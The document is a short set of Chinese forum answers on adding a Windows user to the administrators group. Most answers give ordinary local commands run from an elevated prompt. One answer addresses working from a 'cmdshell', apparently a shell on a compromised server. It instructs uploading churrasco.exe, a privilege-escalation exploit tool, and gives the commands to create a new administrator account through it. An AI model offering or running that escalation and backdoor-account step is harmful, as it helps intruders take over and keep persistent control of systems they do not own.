你是在本地还是在cmdshell里呢
如果是本地必须用管理员权限运行cmd，命令如下：
net user username password /add
net localgroup administrators username /add
如果在cmdshell下可以上传一个巴西烤肉（churrasco.exe）提权，命令如下：
churrasco.exe “net user username password /add"
churrasco.exe "net localgroup administrators username /add"
首先需要最高权限打开CMD，然后
net user 用户名 密码 /add
net localgroup administrators 用户名 /add
看到网友的回答很靠谱，不想复制黏贴，你可以自己去看看
http://zhidao.baidu.com/question/124435587.html
但是win7的权限是比较分散的，像system等账户也管理着部分权限，管理员账户不一定就可以做所有操作
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